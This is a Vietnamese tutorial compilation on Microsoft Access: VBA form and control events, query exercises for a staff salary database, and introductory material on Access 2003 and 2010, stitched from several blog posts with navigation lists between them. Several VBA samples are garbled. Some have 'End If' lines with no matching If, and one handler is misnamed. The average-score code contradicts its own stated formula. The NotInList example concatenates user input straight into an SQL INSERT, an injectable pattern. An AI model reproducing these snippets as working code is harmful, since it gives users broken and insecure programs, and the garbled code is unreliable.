    Đối với control, khi Cancel = True, nó sẽ không cho bạn rời khỏi control đó trừ khi bạn cũng nhấn ESC để hủy bỏ thay đổi (hoặc nhập dữ liệu phù hợp).

    VD: Giả sử bạn nhập dữ liệu điểm thi 3 môn học A, B, C cho các thí sinh. Trong đó nếu khối của thí sinh là 1 thì môn A nhân hệ số 3, khối của thí sinh là 2 thì môn B nhân hệ số 3, khối của thí sinh là 3 thì môn C nhân hệ số 3.

    Điểm trung bình là tổng điểm 3 môn sau khi đã nhân với hệ số chia cho 5. Các điểm chỉ được từ 0 đến 10. Điểm trung bình sẽ tính ngay sau khi 3 môn được nhập. Điểm từng môn sẽ kiểm sau khi nhập xong điểm môn đó.

    Giả sử các control của bạn là: mahs, hotenhs, khoi, monA, monB, monC, dtb

    Bây giờ bạn sẽ “chế” 2 cái thủ tục BeforeUpdate cho form và cho các control điểm như sau:

    Làm một cái cho điểm môn A, điểm môn B và môn C tương tự:

    Private Sub monA_BeforeUpdate (Cancel As Integer)

    MsgBox “Diem mon chi tu 0 den 10 thoi.”

    Cancel = True

    End If

    End Sub

    Làm cho form:

    Private Sub Form_BeforeUpdate (Cancel As Integer)

    dim diem as double ‘ Lay theo kieu chuan, dung Single cung duoc tuy ban

    diem = IIf(khoi = 1, monA*3, IIf(khoi = 2, monB*3, monC*3))/5

    dtb=diem

    End Sub

    11. Sự kiện AfterUpdate:

    Sự kiện xảy ra sau khi dữ liệu trong control đã có thay đổi, hoặc khi record đã được cập nhật vào table.

    Nó xảy ra sau sự kiện BeforeUpdate.

    Trong một record, dữ liệu có thay đổi trong mỗi control sẽ được cập nhật khi rời focus khỏi control đó bằng ENTER hoặc TAB.

    Còn nếu khi focus rời khỏi record hoặc người sử dụng gọi menu Records – Save Record, hay dùng lệnh DoCmd.RunCommand acCmdSaveRecord trong code.

    Lưu ý: sự kiện này không xảy ra khi có sự thay đổi giá trị trong các control tính toán hoặc control Unbound.

    Từ sự kiện này, bạn có thể điều khiển nó để thực hiện một vài tác vụ tương tự như sau:

    – Cho mở ra một form khác

    – Di chuyển sang một control khác với control default (control mặc định khi bạn nhấn ENTER, TAB sẽ chuyển focus đến nó).

    Thuộc tính sự kiện có tên là AfterUpdate.

    Thủ tục sự kiện có tên:

    Với control: controlname_AfterUpdate

    Với form: Form_AfterUpdate.

    Thủ tục này không có tham số.

    12. Sự kiện AfterInsert:

    Sự kiện xảy ra sau khi recordmới được thêm vào.

    Thuộc tính sự kiện có tên là AfterInsert.

    Thủ tục sự kiện có tên là Form_AfterInsert, không có tham số.

    13. Sự kiện Current:

    Sự kiện xảy ra khi focus di chuyển đến một record, biến record đó trở thành record hiện hành, hoặc khi form được làm tươi nội dung – refresh hoặc làm tươi dữ liệu – requery.

    Thuộc tính sự kiện có tên là OnCurrent.

    Thủ tục sự kiện có tên là Form_Current. Không có tham số.

    Khi điều khiển sự kiện này, bạn có thể:

    – Cho thay đổi thuộc tính của một hay nhiều control nào đó, ứng với giá trị của một hay nhiều control khác.

    – Cho Requery lại dữ liệu trong Sub form khác.

    – …

    VD: Thường trong khi thiết kế, bạn sẽ gặp tình huống sẽ thiết kế một form trong đó chứa 2 subform hoặc hơn.

    Khi chuyển đến một record nào đó trên subform 1 thì dữ liệu trong subform 2 sẽ thay đổi tương ứng, và rồi cũng thay đổi dữ liệu luôn trong subform 3 nếu nó có.

    Vậy chúng ta làm điều đó như thế nào?

    Trước tiên các bạn cần lưu ý, dữ liệu của các subform phải có quan hệ với nhau thì mới áp dụng được cách này.

    Bây giờ giả sử ta có 3 table:

    KHOI (makhoi, tenkhoi)

    LOP (malop, tenlop, makhoi)

    HOCSINH (mahs, hoten, malop)

    Bây giờ xem như bạn đã design 3 cái form tương ứng cho từng table (frmKHOI, frmLOP, frmHOCSINH).

    Bạn làm một cái form mới trắng.

    Nhúng 3 cái subform:

    – subform thứ nhất: Name: subKHOI, Source Object: frmKHOI

    – subform thứ hai: Name: subLOP, Source Object: frmLOP, Link Child Fields: makhoi, Link Master Fields: subKHOI.Form!makhoi

    – subform thứ ba: Name: subHOCSINH, Source Object: frmHOCSINH, Link Child Fields: malop, Link Master Fields: subLOP.Form!malop

    Bây giờ bạn vào frmKHOI. Bạn code cho Form_Current một câu thôi:

    Parent.subLOP.Requery

    .

    14. Sự kiện BeforeDelConfirm:

    Sự kiện này xảy ra khi có một hành động xóa một hay nhiều record được gọi, nhưng trước khi chúng thật sự bị xóa khỏi table (những record này tạm thời được giữ trên vùng nhớ đệm – buffer) và trước khi MS Access hiển thị một hộp thoại yêu cầu xác nhận hành động xóa này.

    Nếu bạn gỡ bỏ check box Record Changes trong nhóm Confirm của trang Edit/Find của hộp thoại Options (Tools – Options …), sự kiện này sẽ không xảy ra và tất nhiên hộp thoại xác nhận cũng không hiển thị. Record được xóa ngay lập tức! (Đừng nên làm như thế).

    Bạn có thể điều khiển sự kiện này để thay thế hộp thoại thông báo của riêng bạn trước khi người sử dụng đồng ý xóa.

    Thuộc tính sự kiện tương ứng có tên BeforeDelConfirm.

    Thủ tục sự kiện tương ứng có tên Form_BeforeDelConfirm. Thù tục này có hai tham số.

    Tham số Cancel quá quen thuộc và

    Tham số Response: xác định xem điều gì sẽ thực hiện khi sự kiện xảy ra.

    – Nếu Response = acDataErrDisplay (mặc định), sau khi thủ tục sự kiện thi hành xong, Access cho hiện hộp thoại xác nhận xóa của chính nó.

    – Nếu Response = acDataErrContinue, Access sẽ bỏ qua hộp thoại xác nhận.

    VD: Bạn muốn cho người sử dụng thấy hộp thoại riêng của bạn khi xóa, bạn có thể code cho thủ tuc sự kiện như sau:

    Private Sub Form_BeforeDelConfirm(Cancel As Integer, Response As Integer)

    Response = acDataErrContinue

    If MsgBox(“Xóa record đã chọn chứ?”, vbOKCancel) = vbCancel Then

    Cancel = True

    End If

    End Sub

    15. Sự kiện AfterDelConfirm:

    Sự kiện xảy ra sau khi hộp thoại xác nhận xóa đã hiển thị và nhận thông tin phản hồi từ người sử dụng. Nếu sự kiện BeforeDelConfirm có bị hủy thì sự kiện này vẫn xảy ra. Nó cho biết tình trạng của việc xóa xảy ra thế nào.

    Thuộc tính sự kiện có tên: AfterDelConfirm.

    Thủ tục sự kiện có tên: Form_AfterDelContfirm. Thủ tục có một tham số Status để nhận tình trạng hiện thời của thao tác xóa.

    – Nếu Status = acDeleteOK thì việc xóa xảy ra bình thường.

    – Nếu Status = acDeleteCancel thì việc xóa được lập trình viên tự động cho hoãn.

    – Nếu Status = acDeleteUserCancel thì việc xóa là do người dùng thực hiện.

    VD:

    Private Sub Form_AfterDelConfirm(Status As Integer)

    Select Case Status

    Case acDeleteOK

    MsgBox “Xóa bình thường.”

    Case acDeleteCancel

    MsgBox “Bị hủy do lập trình viên.”

    Case acDeleteUserCancel

    MsgBox “Bạn đã hủy lệnh xóa.”

    End Select

    End Sub

    16. Sự kiện Delete:

    Với sự kiện Delete, việc xóa xem như “trọn bộ”.

    Sự kiện xảy ra khi người sử dụng đặt một hành động xóa record, nhưng trước khi record thực sự được xóa.

    Sự kiện Delete xảy ra cho từng record. Do vậy nếu bạn chọn nhiều record để xóa cùng lúc, sự kiện Delete sẽ xảy ra bấy nhiêu lần.

    Thông thường khi điều khiển hành động xóa, người ta ít thực hiện trên sự kiện này.

    Thuộc tính sự kiện có tên OnDelete.

    Thủ tục sự kiện có tên: Form_Delete. Có một tham số quen thuộc là Cancel.

    Với form, còn nhiều sự kiện nữa, tuy nhiên những sự kiện kể trên là thông dụng và thường được điều khiển “bẫy bắt” nhiều nhất.

    Nếu bạn nào chịu khó, bạn đó có thể mở Help của thằng Access ra luyện công. Bảo đảm không lên không ăn tiền.

    17/Các sự kiện phím:

    Thông thường thì mỗi control sẽ tiếp nhận 3 trạng thái phím khi nó được focus. KeyDown, KeyUp và KeyPress.

    KeyDown xảy ra khi người dùng nhấn một phím trong khi control đang focus. Nó cũng xảy ra khi bạn dùng hành động SendKeys (trong macro) hay lệnh SendKeys trong code.

    KeyPress cũng vậy, nhưng có một chút khác biệt: nó xảy ra khi nhấn và nhả phím trong khi control đang focus. Và trong khi với KeyDown, bạn có thể kiểm tra được là nếu người dùng nhấn tổ hợp phím thì phím kết hợp sẽ là gì: CTRL, ALT, SHIFT một cách riêng biệt. Trong khi KeyPress thì không.

    KeyUp là sự kiện xảy ra khi người dùng nhả phím ra. Nó giống như KeyDown, nghĩa là có thể kiểm tra được là nếu người dùng nhấn tổ hợp phím thì phím kết hợp sẽ là gì: CTRL, ALT, SHIFT một cách riêng biệt.

    Tùy theo tình hình cụ thể, các bạn có thể điều khiển sự kiện phím thích hợp.

    Với sự kiện KeyDown, bạn có thuộc tính sự kiện OnKeyDown.

    Thủ tục sự kiện tương ứng là control_KeyDown. Thủ tục này có 2 tham số:

    KeyCode

    : tiếp nhận mã phím mà người sử dụng nhấn (không tính các phím kết hợp). Bạn có thể dùng các hằng định sẵn để xác định phím mà người dùng nhấn (vbKeyA – phím A, vbkeyReturn – phím Enter, …). Các bạn chịu khó mở cửa sổ Object Browser (lúc đang ở cửa sổ VB Editor) xem lib VBA, mục KeyCode constants để biết nhiều hơn.

    Nếu bạn ngăn không tiếp nhận sự kiện nhấn phím, bạn gán tham số này bằng 0.

    Shift

    : xác định xem phím kết hợp nào được nhấn cùng.

    Nhấn SHIFT: acShiftMask

    Nhấn CTRL: acCtrlMask

    Nhấn ALT: acAltMask

    Một ví dụ để điều khiển sự kiện KeyDown:

    VD: Kiểm tra xem, có nhấn phím CTRL xuống không, nếu không thì thoát thủ tục. Nếu có thì coi có nhấn phím F3 không. Nếu có thì cho hiển thị một cái form gì đó.

    Private Sub mahocsinh_KeyCode(KeyCode As Integer, Shift As Integer)

    If KeyCode = vbKeyF3 Then

    DoCmd.OpenForm “frmLylichHocsinh”, acNormal

    End If

    End If

    End Sub

    Private Sub hoten_KeyPress(KeyAscii As Integer)

    Dim strCharacter As String

    strCharacter = Chr(KeyAscii)

    KeyAscii = Asc(UCase(strCharacter))

    End Sub

    18. Sự kiện Not In List:

    Sự kiện này dành riêng cho control Combo Box. Sự kiện xảy ra khi người sử dụng nhập vào ô text của combo box với nội dung không khớp với dữ liệu có sẵn trong danh sách nguồn của combo box và thuộc tính

    Limit to List

    của combo box được định là Yes.

    Các bạn có thể điều khiển sự kiện này để thông báo cho người sử dụng nội dung mà người đó nhập vào không đúng với quy định hay thậm chí bạn có thể cho “tự động” hay “bán tự động” add thêm dữ liệu vào bảng dữ liệu nguồn (Row Source) của combo box.

    Thuộc tính sự kiện có tên là

    OnNotInList

    .

    Thủ tục sự kiện có tên là

    comboboxname_NotInList

    . Thủ tục có hai tham số:

    NewData: tham số lưu trữ giá trị của nội dung được nhập mới mà không khớp với danh sách hiện có của combo box.

    Response: tham số chỉ định cách thức “hồi đáp” lại sự kiện này.

    Có 3 “vé”:

    Response = acDataErrDisplay (cái này mặc định): Khi xảy ra sự kiện, Access sẽ mở ra hộp thông báo của chính nó. (Cái này thường ít ai muốn, vì nó chơi tiếng tây trong khi chương trình lại toàn là tiếng ta !!!).

    Response = acDataErrContinue: Nếu định như thế này thì Access sẽ không cho hiện hộp thông báo của nó nữa. Bạn có thể chêm vào thông báo của mình.

    Response = acDataErrAdded: Bạn có thể thêm vào danh sách hiện có của combo box nội dung không khớp đó như là dữ liệu thêm mới. Access sẽ chấp nhận nó và cho qua, không thông báo lỗi.

    VD1: Thông báo lỗi khi dữ liệu nhập vào không khớp

    Private Sub combo_NotInList(NewData As String, Response As Integer)

    Response = acDataErrContinue

    MsgBox “Xin vui long chon trong danh sach hien co.”, vbExclamation, “Thong Bao”

    End Sub

    VD2: Thêm vào danh sách của combo box trong trường hợp Row Source Type của combo box là Value List.

    Private Sub dvt_NotInList(NewData As String, Response As Integer)

    Response = acDataErrAdded

    dvt.RowSource = dvt.RowSource & “;” & NewData

    End Sub

    VD3: Giả sử bạn có table tblDVT chứa các đơn vị tính, và chỉ có một field là dvt (thể có nhiều hơn, nhưng field dvt là field chính). Trong một form, bạn tạo một combo box có Row Source là tblDVT. Bây giờ khi người sử dụng nhập thêm một đơn vị tính mới, lập tức nó sẽ được add ngay vào table. Cái vụ này sướng à.

    Private Sub dvt_NotInList(NewData As String, Response As Integer)

    Response = acDataErrAdded

    CurrentDB.Execute “INSERT INTO tblDVT(dvt) VALUES(‘” & NewData & “‘)”

    End Sub

    ____________________________________________________________________________________

    --- Bài cũ hơn ---

  • Một Số Mẹo Hay Khi Sử Dụng Autocad
  • Tải Autocad 2013 + Hướng Dẫn Cài Đặt
  • Hướng Dẫn Tự Học Autocad Cho Người Mới Bắt Đầu
  • Tải Autocad 2014 + Hướng Dẫn Cài Đặt
  • Tổng Quan Về Autocad 2022
  • Hướng Dẫn Thực Hành Access 2003

    --- Bài mới hơn ---

  • Giáo Trình Microsoft Access 2010 Căn Bản
  • Sở Hữu Chiếc Apple Watch, Bạn Đã Biết Đến Những Thủ Thuật “siêu Đỉnh” Này Chưa?
  • Hướng Dẫn Cách Sạc Pin Cho Apple Watch Đúng Cách Hạn Chế Chai Pin
  • Tổng Hợp Thủ Thuật Game Avatar
  • Avatar, Hướng Dẫn Chi Tiết Tính Năng Đấu Giá
  • Trang chủAccess HƯỚNG DẪN THỰC HÀNH ACCESS 2003 – PHẦN QUERY HƯỚNG DẪN CHI TIẾT DỂ HIỂU

    Xây dựng CSDL Quản lý lương cán bộ một cơ quan có cấu trúc như sau :

    – Thiết kế cấu trúc các bảng một cách phù hợp : kiểu dữ liệu các trường;

    trường khoá; thuộc tính Lookup và các thuộc tính khác;

    – Thiết lập quan hệ cùng các thuộc tính đảm bảo toàn vẹn dữ liệu cho các quan

    Hãy tính và in ra bảng lương của cơ quan bao gồm các thông tin: Hoten, ngaysinh, tenchucvu, tenphongban, luongchinh, phucapcv, dangphi, congdoanphi, thuclinh.

    Luongchinh = hesoluong * 290000

    Cấu trúc hàm IIF như sau:

    Chọn Next à Next à Finsh à Xuất kết quả, sau đó bấm nút lệnh

    Tại cột nghĩa là theo như đã khai báo ban đầu thuộc tính yes/no chọn tick vào ô ladangvien dòng ladangvien = yes, máy ngầm hiểu là yes và ngược lại ko tick vào máy hiểu là No. Criteriayes

    KQ:

    Hãy lọc ra danh sách cán bộ của một phòng ban nào đó, tên phòng ban được nhập từ bàn phím khi query được kích hoạt;

    B3: Lưu query và chạy sẽ có thông báo Giả sử nhập phòng

    Kinh Doanh

    Hãy lọc ra danh sách cán bộ là Đảng viên và có thực lĩnh lớn hơn một số nào đó- được nhập từ bàn phím khi query được kích hoạt;

    Dùng Bảng cau1 là bảng được lấy ở query câu 1.

    Hãy lọc ra danh sách cán bộ mà năm sinh rơi vào trong một khoảng năm nào đó được nhập vào từ bàn phím. Ví dụ: khi kích hoạt query, Access yêu cầu nhập vào khoảng năm sinh từ năm nào, đến năm nào. Khi đó query sẽ lọc ra danh sách các cán bộ thoả mãn điều kiện đó;

    Lọc ra danh sách cán bộ có tên được nhập vào từ bàn phím khi kích hoạt query. Ví dụ: khi query kích hoạt sẽ hỏi: Gõ vào tên cần xem? Sau khi gõ vào một tên (có thể cả họ hoặc cả họ và tên), máy tính sẽ lọc ra danh sách cán bộ thảo mãn điều kiện;

    Câu 8 : Hãy đưa ra bảng tổng hợp số cán bộ đã vào Đảng hay chưa vào Đảng theo giới tính như sau:

    – Phân tích đề : Như đề thì máy tính sẽ đếm số cán bộ trong từng phòng ban và tính tổng cán bộ.

    – Sử dụng Crosstab Query (vào Query/ Crosstab Query) để giải quyết tình huống trên.

    + Chú ý những trường nào hiện thị thì không thể đếm và ngược lại. Ví dụ hiển thị tên phòng ban gồm Kinh doanh, Kỹ thuật, sản xuất, khác thì không thể đếm trường tenphongban mà ta đếm trường làm khóa chính của nó tức là phongbanID, tương tự ta đếm tổng số cán bộ. (Xem hình dưới)

    HD: Tương tự như câu 9 ta có: chú ý để xuất hiện Nam, Nữ thêm trường giới tính

    Giới tình: IIf([gioitinh]=Yes,”Nam”,”Nữ”)

    B1: chọn bảng phong ban, chọn query tạo ở câu 1

    B2: Tạo liên kết phongbanID

    B3: sử dụng Crosstab Query truy vấn như hình dưới.

    Xuất ra DSCB có ngày sinh từ ngày 01/01/1965 đến ngày 01/01/1985 và đồng thời những cán bộ trên cùng họ Nguyễn.

    Tìm CB họ Nguyễn: Like “Nguyễn *”

    Hoặc là Between #01/01/1965# And #01/01/1985#

    Một số dạng bài tập trong phần Query và lời giải bởi nhatthienkt.

    Chia sẻ trên BLOG của nhatthienkt’Blog

    Fnhuw

    --- Bài cũ hơn ---

  • Tổng Quan Về Microsoft Office Access 2003
  • 10 Thủ Thuật Bảo Mật Cơ Sở Dữ Liệu Access
  • Một Số Mẹo Hay Trong Autocad
  • Top Thủ Thuật Autocad, Tài Liệu Tự Học Cad Full
  • Một Số Thủ Thuật Vẽ Autocad Giúp Tiết Kiệm Thời Gian
  • Tổng Quan Về Microsoft Office Access 2003

    --- Bài mới hơn ---

  • Hướng Dẫn Thực Hành Access 2003
  • Giáo Trình Microsoft Access 2010 Căn Bản
  • Sở Hữu Chiếc Apple Watch, Bạn Đã Biết Đến Những Thủ Thuật “siêu Đỉnh” Này Chưa?
  • Hướng Dẫn Cách Sạc Pin Cho Apple Watch Đúng Cách Hạn Chế Chai Pin
  • Tổng Hợp Thủ Thuật Game Avatar
  • Microsoft Access là một thành phần trong bộ Microsoft Office, là hệ quản trị cơ sở dữ liệu trên môi trường Windows, trong đó có sẵn các công cụ hữu hiệu và tiện lợi để dễ dàng xây dựng các chương trình cho một số các bài toán thường gặp trong quản lý, thống kê, kế toán…

    1/- Giới thiệu

    Mỗi một tệp chương trình thường có có một đuôi quy định, ví dụ các tệp của Microsoft Word 2003 có đuôi là .doc, tệp chương trình Pascal có đuôi là . pas … Một tệp chương trình do Access tạo ra có đuôi là .MDB

    Một hệ chương trình do Access tạo ra gọi là một Database (cơ sở dữ liệu). Trong các ngôn ngữ như C, Pascal, Foxpro,. .. một hệ chương trình gồm các tệp chương trình và các tệp dữ liệu được tổ chức một cách riêng biệt. Nhưng trong Access toàn bộ chương trình và dữ liệu được chứa trong một tệp duy nhất có đuôi. MDB. Như vậy thuật ngữ hệ chương trình hay cơ sở dữ liệu được hiểu là tổ hợp bao gồm cả chương trình và dữ liệu. Để ngắn gọn nhiều khi ta gọi chương trình thay cho thuật ngữ hệ chương trình. Như vậy từ đây khi nói đến chương trình hay hệ chương trình hay cơ sở dữ liệu thì cũng có nghĩa đó là một hệ phần mềm gồm cả chương trình và dữ liệu do Access tạo ra.

    2/- Làm việc với Microsoft Access

    2.1/- Khởi động Access

    Để khởi động (chạy ) Microsoft Access bạn phải chắc chắn rằng Microsoft Office ( trong đó có thành phần Microsoft Access ) đã được cài đặt đúng cách trên máy tính.

    Có nhiều cách đề khởi động Microsoft Access phụ thuộc vào máy tính của bạn.

    Cách 1: Chọn Start, Program, Microsoft Access.

    Cách 2: Chạy từ icon trên Desktop hoặc TaskBar.

    Cách 3: Trong trường hợp không tìm thấy shortcut của chương trình trên Desktop hoặc trong menu start ta có thể chạy trực tiếp tập tin Msaccess trong thư mục đã cài đặt Office thông thường là “C:Program FilesMicrosoft OfficeOffice”. Kết quả nhận được ở hình 1.1: Tại hình này:

    – Nếu muốn mở một cơ sở dữ liệu đã có thì chọn trong danh sách ở mục Open. – Nếu muốn tạo một cơ sở dữ liệu mới thì chọn Create a new file.

    2.2/- Tạo một cơ sở dữ liệu

    Trong Access tích hợp tất cả các đối tượng tạo thành file có đuôi là .MDB Để tạo 1 cơ sở dữ liệu mới ta làm như sau:

    Từ cửa sổ Microsoft Access: chọn menu File, chọn chức năng Create a new file ( hoặc kích chuột tại biểu tượng trên thanh công cụ). Tại cửa sổ tiếp theo ta bấm chuột tại biểu tượng Blank Database để hiện ra cửa sổ hình 1.2:

    Chọn thư mục sẽ chứa tệp cơ sở dữ liệu cần tạo trong hộp Save in (ví dụ thư mục My documents) sau đó đặt tên cơ sở dữ liệu trong hộp File name (chẳng hạn: Quanlyhanghoa). Cửa sổ tương ứng khi đó có dạng hình 1.3.

    Kích chuột tại nút Create. Kết quả hiện ra cửa sổ tại hình 1.4:

    Cửa sổ trên hình 1.4 được gọi là cửa sổ Database. Đây là một trong những cửa sổ rất quan trọng của Access. Cửa sổ bao gồm:

    Hệ menu với các menu: Open, Design, New …

    Tiêu đề Database: Quanlyhanghoa là tên của cơ sở dữ liệu.

    Các đối tượng của một cơ sở dữ liệu trong Access gồm (các mục):

    + Table: Đây là các bảng của cơ sở dữ liệu.

    + Query: là các truy vấn của cơ sở dữ liệu.

    + Form: các form dùng để thiết kế giao diện chương trình.

    + Report: Các báo cáo thống kê.

    + Macro: các Macro dùng để thực thi các hành động trong CSDL.

    + Module: chứa các thủ tục được viết bằng Access Basic.

    Giả sử đã có cơ sở dữ liệu Quanlyhanghoa trong thư mục C:My Documents. Để làm việc (xem, bổ sung, thực hiện chương trình ) với cơ sở dữ liệu trên ta lần lượt thao tác như sau:

    Bước1: Từ cửa sổ Microsoft Access chọn menu File, Open Database… hoặc kích chuột tại biểu tượng Open trên thanh Standard Toolbar. Kết quả ở hình 1.5:

    Bước 2: Chọn thư mục trong đó có chứa tệp cơ sở dữ liệu cần mở trong hộp Look in. Kết quả trong cửa sổ sẽ hiện ra danh sách các cơ sở dữ liệu trong thư mục này nếu giá trị tại hộp File of type là: Microsoft Access.

    2.3/- Làm việc với cơ sở dữ liệu đã tồn tại

    Trong trường hợp có quá nhiều cơ sở dữ liệu đã tồn tại để nhanh chóng tìm được cơ sở dữ liệu cần mở ta chú ý đến một số tuỳ chọn khác trên cửa sổ như: Last modified, text or propery…

    Bước 3: Chọn tên cơ sở dữ liệu muốn mở tại hộp File name (hoặc kích kích chuột tại tên của cơ sở dữ liệu cần mở hiện trong cửa sổ),ví dụ Quanlyhanghoa, sau đó kích chuột tại nút Open. Kết quả nhận được trong hình 1.6:

    Khi mở xong một cơ sở dữ liệu, nếu muốn chọn mục nào thì ta bấm chuột vào mục đó. Như hình trên ta đang chọn mục Tables, mục này chứa danh sách các bảng của cơ sở dữ liệu Quanlyhanghoa. Nhìn vào mục Tables của cửa sổ Database của cơ sở dữ liệu ta thấy mới chỉ có bảng hang (hàng).

    --- Bài cũ hơn ---

  • 10 Thủ Thuật Bảo Mật Cơ Sở Dữ Liệu Access
  • Một Số Mẹo Hay Trong Autocad
  • Top Thủ Thuật Autocad, Tài Liệu Tự Học Cad Full
  • Một Số Thủ Thuật Vẽ Autocad Giúp Tiết Kiệm Thời Gian
  • Autocad 2022 Và Những Tính Năng Mới Cập Nhật Nên Biết
  • Giáo Trình Microsoft Access 2010 Căn Bản

    --- Bài mới hơn ---

  • Sở Hữu Chiếc Apple Watch, Bạn Đã Biết Đến Những Thủ Thuật “siêu Đỉnh” Này Chưa?
  • Hướng Dẫn Cách Sạc Pin Cho Apple Watch Đúng Cách Hạn Chế Chai Pin
  • Tổng Hợp Thủ Thuật Game Avatar
  • Avatar, Hướng Dẫn Chi Tiết Tính Năng Đấu Giá
  • Cách Dùng Video Làm Ảnh Đại Điện, Avatar Facebook Trên Điện Thoại
  • BÀI 1: GIỚI THIỆU MICROSOFT ACCESS 2010

    1. PHẦN MỀM MICROSOFT ACCESS 2010:

    • Là một hệ quản trị CSDL.
    • Nằm trong bộ phần mềm Microsoft Office 2010

    2. TẬP TIN CSDL ACCESS:

    • Phần loại: .accdb (phiên bản 2000-2003 có phần loại .mdb)
    • Các loại đối tượng cơ bản trong tập tin CSDL Access:
      • Tables (bảng): dùng để chứa dữ liệu.
      • Forms (biểu mẫu): dùng để hiển thị và cập nhật dữ liệu.
      • Queries (mẫu hỏi): dùng để truy vấn dữ liệu.
      • Reports (báo cáo): dùng để tạo báo cáo.

    3. BACKSTAGE VIEW:

    Backstage View được giới thiệu từ bản Office 2010. Bạn có thể mở Backstage View bằng cách chọn thẻ File trong cửa sổ ứng dụng của các ứng dụng trong bộ Office 2010.

    4. TẠO TẬP TIN CSDL MỚI:

    1. Nhập tên tập tin
    2. Nháy biểu tượng thư mục để chọn thư mục lưu tập tin
    3. Nháy nút Create

    Bạn cũng có thể tạo tập tin CSDL mới dựa theo những mẫu (templates) có sẵn.

    5. MỞ TẬP TIN CSDL CÓ SẴN:

    6. MÔI TRƯỜNG LÀM VIỆC CỦA MICROSOFT ACCESS 2010:

    Bên trái thanh tiêu đề là thanh công cụ truy cập nhanh (Quick Access Toolbar) chứa các nút lệnh được sử dụng thường xuyên. Bạn có thể bổ sung các nút lệnh vào thanh công cụ này bằng cách chọn lệnh tương ứng trong bảng chọn Customize Quick Access Toolbar.

    Ngay dưới thanh tiêu đề là Ribbon bao gồm các thẻ ( Tab). Mỗi thẻ có thể chứa nhiều nhóm chức năng ( Group) với các nút lệnh tương ứng. Một số nhóm có thể có Dialog box laucher mà khi nháy vào sẽ mở ra một hộp thoại tương ứng.

    Phía dưới Ribbon là nội dung của tập tin CSDL được hiển thị trên hai khung.

    Khung bên trái được gọi là Navigation Pane hiển thị các loại đối tượng có trong tập tin.

    Để xem nội dung của một đối tượng (Table, Form, Query, Report) bạn nháy đúp vào tên đối tượng. Nội dung của đối tượng sẽ được hiển thị ở khung bên phải.

    7. LƯU TẬP TIN CSDL THEO CÁC ĐỊNH DẠNG KHÁC NHAU:

    8. THIẾT LẬP ĐỊNH DẠNG FILE VÀ THƯ MỤC MẶC ĐỊNH:

    9. ĐÓNG TẬP TIN CSDL:

    10. THOÁT KHỎI MICROSOFT ACCESS:

    TH1: Thiết lập thư mục mặc định

    1. Tạo thư mục Access Database trên ổ đĩa D:
    2. Chọn Access Database là thư mục lưu file mặc định.

    TH2: Sử dung Navigation Pane

    1. Mở tập tin task_list.accdb
    2. Nháy Shutter Bar Open/Close Button để mở Navigation Pane
    3. Mở bảng chọn Navigation Pane
    4. Trong phần Navigate To Category chọn Object Type.Trong phần Filter By Group chọn All Access Objects để hiển thị tất cả các đối tượng trong tập tin theo từng loại
    5. Trong phần Navigate To Category chọn Object Type.Trong phần Filter By Group chọn Tables để hiển thị tất cả các đối tượng bảng trong tập tin
    6. Nháy double mở các bảng
    7. Lần lượt cho hiển thị và mở các đối tượng biểu mẫu, mẫu hỏi và báo cáo.
    8. Đóng các đối tượng. Đóng tập tin CSDL
    9. Thoát khỏi Microsoft Access

    1. CÁC KHÁI NIỆM CHÍNH:

  • Trường (Field): mỗi cột của bảng được gọi là một trường
  • Bản ghi (Record): mỗi dòng của bảng được gọi là một bản ghi
  • Kiểu dữ liệu (Data Type): kiểu của dữ liệu lưu trong một trường
    • Khóa chính (Primary Key):
      • Là một hoặc nhiều trường
      • Dùng để xác định duy nhất mỗi hàng của bảng

    2. TẠO CẤU TRÚC BẢNG:

    2.1. Các chế độ làm việc chính của bảng:

    2.2. Tạo cấu trúc bảng trong chế độ thiết kế:

    1. Mở hoặc tạo mới tập tin CSDL
    2. Khai báo các trường, mỗi trường cần khai báo:
    • Tên trường (Field Name)(bắt buộc)
    • Kiểu dữ liệu (Data Type)(bắt buộc)
    • Mô tả (Description)(tùy chọn)
    • Các tính chất của trường (Field Properties)(tùy chọn)
  • Thiết lập các tính chất của bảng (Table Properties)(tùy chọn)
  • Chỉ định khóa chính
  • Lưu bảng
  • 2.3. Các tính chất của trường:

    • Field Size:
      • Kiểu Text: xác định số ký tự tối đa (mặc định là 255)
      • Kiểu Number: xác định kiểu dữ liệu số (Byte, Long Integer, Double, Decimal, …)
    • New Values (AutoNumber):
      • Increment: bắt đầu từ 1 sau đó tăng thêm 1 cho mỗi bản ghi mới
      • Random: gán giá trị ngẫu nhiên (duy nhất) cho mỗi bản ghi mới
    • Format: định dạng dữ liệu của trường khi hiển thị trên màn hình
    • Presision (Number, Decimal): số chữ số tối đa có thể được lưu trữ (mặc định là 18)
    • Scale (Number, Decimal): số chữ số được lưu trữ ở phần bên phải dấu chấm thập phân, giá trị này phải nhò hơn hoặc bằng giá trị Presision
    • Decimal Places (Number; Currency; Calculated): số chữ số thập phân Access hiển thị
    • Input Mask (Text; Number; Date/Time; Currency): xác định mẫu nhập liệu (Ví dụ: __/__/__ )
    • Caption: xác định tên đầy đủ của trường, được dùng trên Forms và Reports
    • Default Value: xác định một giá trị mặc định cho trường
    • Validation Text: văn bản thông báo được hiển thị khi người dùng nhập hay cập nhật dữ liệu của trường mà vi phạm điều kiện ràng buộc đối với trường
    • Required:
      • Yes: bắt buộc phải nhập dữ liệu cho trường
      • No: chấp nhận giá trị null
    • Allow Zero Length (Text; Memo; Hyperlink): chấp nhận phép xâu rỗng
    • Indexed: thiết lập chỉ mục cho trường
    • Unicode Compssion: cho phép lưu trữ ký tự Unicode dưới dạng nén (1 Byte)
    • IME Mode, IME Sentence Mode: hỗ trợ các ngôn ngữ tượng hình Châu Á
    • Smart Tags: xác định các thao tác người dùng có thể thực hiện khi trường được hiển thị
    • Text Align: căn lề dữ liệu khi hiển thị
    • Text Format (Memo): xác định kiểu văn bản (Plain Text/Rich Text)

    2.4. Thiết lập điều kiện ràng buộc cho bảng:

    1. Mở bảng trong chế độ thiết kế
    2. Chọn thẻ Table Tools Design
    3. Trong nhóm Show/Hide, nháy Property Sheet

    Trên khung Property Sheet có hai tính chất quan trọng mà bạn có thể thiết lập cho bảng là Validation RuleValidation Text nhằm áp dụng các ràng buộc đối với dữ liệu giữa các trường của một bản ghi. Giả sử trong bảng có hai trường NgayDen NgayDi, bạn có thể thiết lập điều kiện ràng buộc Validation Rule như sau: NgayDen <= NgayDi.

    2.5. Chỉ định khóa chính:

    1. Mở bảng trong chế độ thiết kế
    2. Chọn một hoặc nhiều trường
    3. Chọn thẻ Table Tools Design
    4. Trong nhóm Tools, nháy Primary Key

